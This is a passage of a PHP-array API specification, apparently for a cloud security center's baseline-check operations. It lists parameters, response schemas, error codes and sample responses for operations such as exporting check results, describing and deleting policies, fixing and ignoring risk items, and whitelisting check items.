[ 'description' => 'The ID of the risk item in the baseline check results. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '123,124', ], ], [ 'name' => 'ExportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the export task. Set the value to **hc_check_warning**, which indicates tasks to export baseline check results.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc_check_warning', ], ], [ 'name' => 'IsCleartextPwd', 'in' => 'query', 'schema' => [ 'description' => 'The export method of the results for the weak password baseline check. Valid values:'."\n" ."\n" .'* **0**: exports the check results after it is masked.'."\n" .'* **1**: exports the check results in plaintext.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the server group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '13007754', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A7FC828B-C242-1005-9736-C7CC5DC09FF0', ], 'FileName' => [ 'description' => 'The name of the file that contains exported baseline check results.'."\n", 'type' => 'string', 'example' => 'health_check_export_20220407', ], 'Id' => [ 'description' => 'The ID of the task to export baseline check results.'."\n" ."\n" .'> You can call use the value of this parameter to call the [DescribeHcExportInfo](~~DescribeHcExportInfo~~) operation to query the export progress.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '439316', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'FreeVersionNotPermit', 'errorMessage' => 'Free version is not permitted.', ], [ 'errorCode' => 'ExportRecordNotFound', 'errorMessage' => 'No risk entries found for export.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::ExportRecord', ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A7FC828B-C242-1005-9736-C7CC5DC09FF0\\",\\n \\"FileName\\": \\"health_check_export_20220407\\",\\n \\"Id\\": 439316\\n}","errorExample":""},{"type":"xml","example":"\\n A7FC828B-C242-1005-9736-C7CC5DC09FF0\\n health_check_export_20220407\\n 439316\\n","errorExample":""}]', 'title' => 'ExportWarning', ], 'DescribeStrategy' => [ 'summary' => 'Queries the details about baseline check policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92204', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.X.X', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'StrategyIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy that you want to query. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '8164248', ], ], [ 'name' => 'CustomType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the baseline check policy that you want to query. Valid values:'."\n" ."\n" .'* **common**: standard baseline check policy'."\n" .'* **custom**: custom baseline check policy'."\n", 'type' => 'string', 'required' => false, 'example' => 'custom', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB', ], 'Strategies' => [ 'description' => 'The details of the baseline check policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the baseline check policy.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The source type of the baseline check policy. Valid values:'."\n" ."\n" .'* **1**: indicates a built-in policy provided and performed by Security Center by default.'."\n" .'* **2**: indicates a user-defined policy. It can be a standard or custom baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ExecStatus' => [ 'description' => 'The status of the baseline check policy. Valid values:'."\n" ."\n" .'* **1**: not executed'."\n" .'* **2**: executing'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PassRate' => [ 'description' => 'The proportion of risky baselines in the baseline check result.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CycleStartTime' => [ 'description' => 'The time when the baseline check starts. Valid values:'."\n" ."\n" .'* **0**: The baseline check starts within the time range from 00:00 to 06:00.'."\n" .'* **6**: The baseline check starts within the time range from 06:00 to 12:00.'."\n" .'* **12**: The baseline check starts within the time range from 12:00 to 18:00.'."\n" .'* **18**: The baseline check starts within the time range from 18:00 to 24:00.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CustomType' => [ 'description' => 'The type of the baseline check policy. Valid values:'."\n" ."\n" .'* **common**'."\n" .'* **custom**'."\n", 'type' => 'string', 'example' => 'custom', ], 'EcsCount' => [ 'description' => 'The number of the assets to which the baseline check policy is applied.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], 'ProcessRate' => [ 'description' => 'The number of the assets on which the baseline check is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'CycleDays' => [ 'description' => 'The cycle of the baseline check. Valid values:'."\n" ."\n" .'* **1**: every 2 days'."\n" .'* **3**: every 4 days'."\n" .'* **7**: every 8 days'."\n" .'* 30: every 31 days'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskCount' => [ 'description' => 'The number of baseline check items in the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Name' => [ 'description' => 'The name of the baseline check policy.'."\n", 'type' => 'string', 'example' => 'text2', ], 'Id' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8164248', ], 'ConfigTargets' => [ 'description' => 'The details of the assets to which the baseline check policy is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The asset to which the baseline check policy is applied.'."\n", 'type' => 'object', 'properties' => [ 'Flag' => [ 'description' => 'Indicates whether the baseline check policy is applied to the asset group. Valid values:'."\n" ."\n" .'* **add**: The baseline check policy is applied to the asset group.'."\n" .'* **del**: the baseline check policy is not applied to the asset group.'."\n", 'type' => 'string', 'example' => 'add', ], 'Target' => [ 'description' => 'The asset group ID or UUID of the asset to which the baseline check policy is applied.'."\n", 'type' => 'string', 'example' => '10099713', ], 'TargetType' => [ 'description' => 'The condition by which the baseline check policy is applied to the asset. Valid values:'."\n" ."\n" .'* **groupId**: the ID of the asset group'."\n" .'* **uuid**: the UUID of the asset'."\n", 'type' => 'string', 'example' => 'groupId', ], ], ], ], 'StartTime' => [ 'description' => 'The start time of the baseline check policy.'."\n", 'type' => 'string', 'example' => '00:00:00', ], 'EndTime' => [ 'description' => 'The end time of the baseline check policy.'."\n", 'type' => 'string', 'example' => '03:00:00', ], 'Percent' => [ 'description' => 'The progress of the baseline check by using the baseline. This parameter is returned only if the value of the ExecStatus parameter is 2.'."\n", 'type' => 'string', 'example' => '50%', ], 'UserModifyTime' => [ 'description' => 'The time when the baseline check policy was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2025-01-07 10:46:43', ], 'ExecutionType' => [ 'description' => 'The triggering method of baseline scanning. Value:'."\n" ."\n" .'- **Schedule** : Periodic configuration of task triggers'."\n" ."\n" .'- **Manual** : Manually triggered', 'type' => 'string', 'example' => 'Manual', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB\\",\\n \\"Strategies\\": [\\n {\\n \\"Type\\": 2,\\n \\"ExecStatus\\": 1,\\n \\"PassRate\\": 0,\\n \\"CycleStartTime\\": 0,\\n \\"CustomType\\": \\"custom\\",\\n \\"EcsCount\\": 50,\\n \\"ProcessRate\\": 20,\\n \\"CycleDays\\": 1,\\n \\"RiskCount\\": 23,\\n \\"Name\\": \\"text2\\",\\n \\"Id\\": 8164248,\\n \\"ConfigTargets\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"10099713\\",\\n \\"TargetType\\": \\"groupId\\"\\n }\\n ],\\n \\"StartTime\\": \\"00:00:00\\",\\n \\"EndTime\\": \\"03:00:00\\",\\n \\"Percent\\": \\"50%\\",\\n \\"UserModifyTime\\": 0,\\n \\"ExecutionType\\": \\"Manual\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB\\n \\n 2\\n 1\\n 0\\n 0\\n custom\\n 50\\n 20\\n 1\\n 23\\n text2\\n 8164248\\n \\n add\\n 10099713\\n groupId\\n \\n \\n","errorExample":""}]', 'title' => 'DescribeStrategy', ], 'DescribeStrategyTarget' => [ 'summary' => 'Queries the information about the assets to which a baseline check policy is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92208', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.X.X', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the policy. Set the value to hc_strategy, which indicates baseline check policies.'."\n", 'type' => 'string', 'required' => true, 'example' => 'hc_strategy', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '{"strategyId":8167126}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '001BAB34-D70A-54B0-B1D7-91B76DCDD8E8', ], 'StrategyTargets' => [ 'description' => 'The information about the assets to which the baseline check policy is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'BindUuidCount' => [ 'description' => 'The number of the assets that belong to the asset group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '85', ], 'Flag' => [ 'description' => 'Indicates whether the baseline check policy is applied to the asset group. Valid values:'."\n" ."\n" .'* **add**: The baseline check policy is applied to the asset group.'."\n" .'* **del**: the baseline check policy is not applied to the asset group.'."\n", 'type' => 'string', 'example' => 'add', ], 'Target' => [ 'description' => 'The ID of the asset group to which the assets belong or the UUID of the asset.'."\n", 'type' => 'string', 'example' => '9165712', ], 'TargetType' => [ 'description' => 'The method that is used to add the assets to the baseline check policy. Valid values:'."\n" ."\n" .'* **groupId**: the ID of the asset group'."\n" .'* **uuid**: the UUID of the asset'."\n", 'type' => 'string', 'example' => 'groupId', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"001BAB34-D70A-54B0-B1D7-91B76DCDD8E8\\",\\n \\"StrategyTargets\\": [\\n {\\n \\"BindUuidCount\\": 85,\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"9165712\\",\\n \\"TargetType\\": \\"groupId\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 001BAB34-D70A-54B0-B1D7-91B76DCDD8E8\\n \\n 85\\n add\\n 9165712\\n groupId\\n \\n","errorExample":""}]', 'title' => 'DescribeStrategyTarget', ], 'DeleteStrategy' => [ 'summary' => 'Deletes a baseline check policy.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91974', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.0.XX.XX', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy that you want to delete.'."\n", 'type' => 'string', 'required' => true, 'example' => '1404656', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","errorExample":""},{"type":"xml","example":"\\n A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\n","errorExample":""}]', 'title' => 'DeleteStrategy', ], 'ValidateHcWarnings' => [ 'summary' => 'Verifies whether risk items are fixed. If a risk item is fixed, the status of the related check item is updated to Passed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92458', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'RiskIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of risk items that you want to verify. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '43', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers on which you want to verify the risk items. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '78645c8e-2e89-441b-8eb,a9622a6b-adb5-4dd3-929e,0136460a-1cb5-44e8-****', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of check items that you want to verify. Separate multiple IDs with commas (,).'."\n" .'> You can use [DescribeCheckWarningSummary](~~116179~~) to get IDs of check items.', 'type' => 'string', 'required' => false, 'example' => '695,234', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check item that you want to verify.'."\n" ."\n" .'* 1: failed'."\n" .'* 3: passed'."\n" .'* 5: expired'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '722C4F88-7867-4E7B-8ADE-7451053', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'HcVerifyingRisk', 'errorMessage' => 'risk is verifying', ], [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"722C4F88-7867-4E7B-8ADE-7451053\\"\\n}","type":"json"}]', 'title' => 'ValidateHcWarnings', ], 'FixCheckWarnings' => [ 'summary' => 'Fixes a baseline risk item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'high', 'chargeType' => 'paid', 'abilityTreeCode' => '92285', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '165.225.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item.'."\n" ."\n" .'> To query the information about the risk items and check items of a server, you must specify the IDs of the risk items. You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of risk items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '10354', ], ], [ 'name' => 'CheckParams', 'in' => 'query', 'schema' => [ 'description' => 'The parameters for the baseline risk item that you want to fix.'."\n" ."\n" .'* **checkId**: the ID of the check item that corresponds to the baseline risk item.'."\n" ."\n" .'* **rules**: an array that consists of the rules applied to fixes.'."\n" ."\n" .' * **value**: specifies whether a fix method is selected. Valid values: **0** and **1**. The value 0 indicates that no fix method is selected and the value 1 indicates that a fix method is selected.'."\n" .' * **ruleId**: the ID of the fix method.'."\n" .' * **paramList**: an array that consists of the details about the fix method.\\'."\n" .' • **paramName**: the name of the fix method.\\'."\n" .' • **value**: the value of the fix method.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"checkId":8,"rules":[{"ruleId":"rule.ssh_Idle.interval","value":1,"paramList":[{"paramName":"range_val","value":"600"},{"paramName":"range_val","value":"600"}]},{"ruleId":"rule.ssh_Idle.count","value":1,"paramList":[{"paramName":"range_val","value":"3"}]}]}]', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset for which you want to fix the baseline risk item. You can call the [DescribeWarningMachines](~~DescribeWarningMachines~~) operation to query the UUIDs of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => '75a417dda5f25edb5bed8f208a9a****,c7e10fd794262a1510d5648f9e5d****', ], ], [ 'name' => 'SnapshotName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the snapshot that is created when you fix the baseline risk.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas_fix_2024-12-04', ], ], [ 'name' => 'RetentionDays', 'in' => 'query', 'schema' => [ 'description' => 'The retention period of the snapshot that is created when you fix the baseline risk. Valid values: 1 to 365. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'BatchId' => [ 'description' => 'The ID of the baseline risk item that has been fixed by using the Batch Repair feature.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '52370', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '76C1D7FD-DB1E-45EA-B804-3FBD9A1DD9C0', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'HCClientOffline', 'errorMessage' => 'Client is offline.', ], [ 'errorCode' => 'InvalidBind', 'errorMessage' => 'Asset not bind.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"BatchId\\": 52370,\\n \\"RequestId\\": \\"76C1D7FD-DB1E-45EA-B804-3FBD9A1DD9C0\\"\\n}","type":"json"}]', 'title' => 'FixCheckWarnings', ], 'AddBaselineCheckWhiteRecord' => [ 'summary' => 'Creates a whitelist rule for a baseline check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '196375', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. If you leave this parameter empty, the default value is used. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '76', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* **all_instance**: all servers'."\n" .'* **instance**: specific servers'."\n", 'type' => 'string', 'required' => false, 'example' => 'instance', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason why the check item is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AutoRun', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RecordId' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '864153', ], 'CheckId' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '76', ], 'TargetType' => [ 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* **all_instance**: all servers'."\n" .'* **instance**: specific servers'."\n", 'type' => 'string', 'example' => 'instance', ], 'Target' => [ 'description' => 'The object that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'HOST_BASELINE_WHITE_LIST_21', ], 'Reason' => [ 'description' => 'The reason why the check item is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'AutoTest', ], 'Source' => [ 'description' => 'The data source. Valid values:'."\n" ."\n" .'* **default**: server'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'example' => 'agentless', ], 'Lang' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'example' => 'zh', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RecordId\\": 864153,\\n \\"CheckId\\": 76,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_21\\",\\n \\"Reason\\": \\"暂时忽略\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"zh\\"\\n },\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\"\\n}","type":"json"}]', 'title' => 'AddBaselineCheckWhiteRecord', ], 'IgnoreHcCheckWarnings' => [ 'summary' => 'Ignores or cancels ignoring multiple baseline risk items at a time.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92318', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'CheckWarningIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert that is triggered by the check item. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCheckWarnings](~~116182~~) operation to query the IDs of alerts that are triggered by check items.'."\n", 'type' => 'string', 'required' => false, 'example' => '98146905,98146907', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [DescribeCheckWarnings](~~116182~~) operation to query the IDs of check items.'."\n", 'type' => 'string', 'required' => false, 'example' => '21313', ], ], [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item that you want to ignore or cancel ignoring.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of risk items.'."\n", 'type' => 'string', 'required' => false, 'example' => '51', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operation that you want to perform. Valid values:'."\n" ."\n" .'* **1**: ignores a risk item'."\n" .'* **2**: cancels ignoring a risk item'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], [ 'name' => 'Reason', 'in' => 'query', 'schema' => [ 'description' => 'The reason for the current operation.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ignore', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. If this parameter is left empty, the server baseline results are queried by default. Valid values:'."\n" .'* **default**: server'."\n" .'* **agentless**', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B113119F', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::IgnoreCheckItems', ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B113119F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B113119F\\r\\n","errorExample":""}]', 'title' => 'IgnoreHcCheckWarnings', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeCustomizedStrategyTargets' => [ 'summary' => 'Queries the servers to which custom policies are applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92048', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '39.170.43.**', ], ], [ 'name' => 